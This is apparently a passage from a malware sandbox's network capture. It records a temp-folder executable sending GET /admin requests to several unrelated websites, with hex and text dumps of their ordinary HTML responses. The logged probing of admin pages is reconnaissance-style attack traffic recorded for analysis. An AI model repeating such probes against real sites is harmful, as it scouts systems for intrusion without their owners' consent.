2023-12-20 02:13:41 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Link: <https://hildebrandproject.org/wp-json/>; rel="https://api.w.org/" Link: <https://hildebrandproject.org/wp-json/wp/v2/pages/4>; rel="alternate"; type="application/json" Link: <https://hildebrandproject.org/>; rel=shortlink X-TEC-API-VERSION: v1 X-TEC-API-ROOT: https://hildebrandproject.org/wp-json/tribe/events/v1/ X-TEC-API-ORIGIN: https://hildebrandproject.org X-Powered-By: WP Engine X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 8 X-Cache-Group: normal
2023-12-20 02:13:41 UTC	15604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 20 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d Data Ascii: <!DOCTYPE html><html lang="en-US"><head ><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><!-
2023-12-20 02:13:41 UTC	16384	IN	Data Raw: 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 Data Ascii: : var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i
2023-12-20 02:13:41 UTC	16384	IN	Data Raw: 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 3f 73 3d 7b 73 7d 22 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 61 72 65 61 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 22 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 36 34 36 22 20 68 65 69 67 68 74 3d 22 31 34 36 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 31 2f 30 38 2f 63 72 6f 70 70 65 64 Data Ascii: ndproject.org/?s={s}"></form></div><div class="title-area"><a href="https://hildebrandproject.org/" class="custom-logo-link" rel="home" aria-current="page"><img width="646" height="146" src="https://hildebrandproject.org/wp-content/uploads/2021/08/cropped
2023-12-20 02:13:41 UTC	16384	IN	Data Raw: 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 33 36 78 31 38 2e 70 6e 67 20 33 36 77 2c 20 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 30 2f 48 69 6c 64 65 62 72 61 6e 64 5f 52 65 73 69 64 65 6e 63 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 34 38 78 32 33 2e 70 6e 67 20 34 38 77 22 20 73 69 7a 65 73 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 29 20 31 30 30 76 77 2c 20 38 30 30 70 78 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 67 72 69 64 2d 74 65 78 74 22 3e 3c 68 65 61 64 65 72 20 63 6c Data Ascii: y_Picnic_07_12_2023_0142-36x18.png 36w, https://hildebrandproject.org/wp-content/uploads/2023/10/Hildebrand_Residency_Picnic_07_12_2023_0142-48x23.png 48w" sizes="(max-width: 800px) 100vw, 800px" /></a></div><div class="gb-block-post-grid-text"><header cl
2023-12-20 02:13:41 UTC	14663	IN	Data Raw: 63 6c 61 73 73 3d 22 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 68 61 73 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 20 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 63 65 6e 74 65 72 20 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 77 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 36 20 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2d 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 22 3e 3c 6c 69 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 39 33 30 30 32 37 3b 20 22 20 63 6c 61 73 73 3d 22 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 69 6e 73 74 61 67 72 61 6d 20 68 61 73 2d 74 68 65 6d 65 2d 70 72 69 6d 61 Data Ascii: class="wp-block-social-links has-icon-color is-style-logos-only is-content-justification-center is-layout-flex wp-container-6 wp-block-social-links-is-layout-flex"><li style="color: #930027; " class="wp-social-link wp-social-link-instagram has-theme-prima

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.4	53460	95.173.180.22	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	168	OUT	GET /admin HTTP/1.1 Host: london.com.tr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	572	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=5feif1nam81cheppm13t953rub; path=/ Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, Accept Vary: Accept-Encoding,User-Agent
2023-12-20 02:13:41 UTC	7650	IN	Data Raw: 31 64 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 Data Ascii: 1dda<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge">
2023-12-20 02:13:41 UTC	13596	IN	Data Raw: 33 35 31 34 0d 0a 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 22 2e 67 6f 6e 64 65 72 77 70 22 29 2e 61 64 64 43 6c 61 73 73 28 22 72 65 73 74 61 72 74 22 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 24 28 27 23 77 70 5f 6d 65 73 73 61 67 65 27 29 2e 6b 65 79 70 72 65 73 73 28 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 65 2e 77 68 69 63 68 20 3d 3d 20 31 33 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 65 73 73 61 67 65 20 3d 20 24 28 27 23 77 70 5f 6d 65 73 73 61 67 65 27 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 68 61 74 73 61 70 70 2e 63 6f Data Ascii: 3514"); $(".gonderwp").addClass("restart"); } $('#wp_message').keypress(function(e) { if (e.which == 13) { var message = $('#wp_message').val(); window.open('https://api.whatsapp.co
2023-12-20 02:13:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.4	53755	199.60.103.2	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	408	OUT	GET /admin HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=2e61482e165273703c2148359cd91ab34251e64a-1703038419; __cf_bm=NePZIk.d_.NSda1q4JSM_hwZUWCkWmuzED9tHbFeuFI-1703038419-1-AdCFBEg06kS/eLqqRvUuuWrxTJ/ec6eYNTMiNagdUbkuFt5VippkJh+lTcnsMUXejPiF/c1gp6XpKJqBBRqhFp0= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	1346	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845e14a8ee742e-MIA CF-Cache-Status: EXPIRED Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 52 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-9q2p2 x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: 6b7616e9-e0cb-4e5b-a2b0-03e96a911085 X-HubSpot-NotFound: true x-request-id: 6b7616e9-e0cb-4e5b-a2b0-03e96a911085 X-Trace: 2BFE14D6303E741AFAD3F3DD9F09D24DF9F969D96B000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eXk%2BYEEyFtTtv%2B6znlOP5X1AIRYecvHkG56vVqyZlhPKYacyTIOx6cuWnBIj24Kr5dMfXqnH%2BRfFuHgvEYG816lgNid7kRpfxvuY85jEaR15NxV7T%2BqeByyThH4E0H9qXfxPBXRKn%2FWj5pli9U8%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:41 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 32 35 61 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 25a3<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:41 UTC	60	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 0d 0a Data Ascii: ents that will keep your lawn green and free of pests year
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 33 63 33 32 0d 0a 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a 6f 62 54 69 74 6c 65 22 3a 20 22 4f 77 6e 65 72 22 2c 0a 20 20 20 20 22 67 65 6e 64 65 72 22 3a 20 22 4d 61 6c 65 22 2c 0a 20 20 20 20 22 75 72 6c 22 3a 20 Data Ascii: 3c32 after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "jobTitle": "Owner", "gender": "Male", "url":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.4	53757	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	178	OUT	GET /admin HTTP/1.1 Host: eco-child.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	1369	IN	HTTP/1.1 303 See Other Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Cache-Control: no-store Location: https://eco-child.myshopify.com/admin/auth/login Strict-Transport-Security: max-age=7889238 Server-Timing: processing;dur=20 X-Shopify-Stage: production Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; script-src https://cdn.shopify.com https://cdn.shopifycdn.net https://checkout.shopifycs.com https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://js.braintreegateway.com https://c.paypal.com https://maps.googleapis.com https://www.google-analytics.com https://v.shopify.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=5ac67c36-ce48-4255-8476-bdd7efba1552 X-Content-Type-Options: nosniff
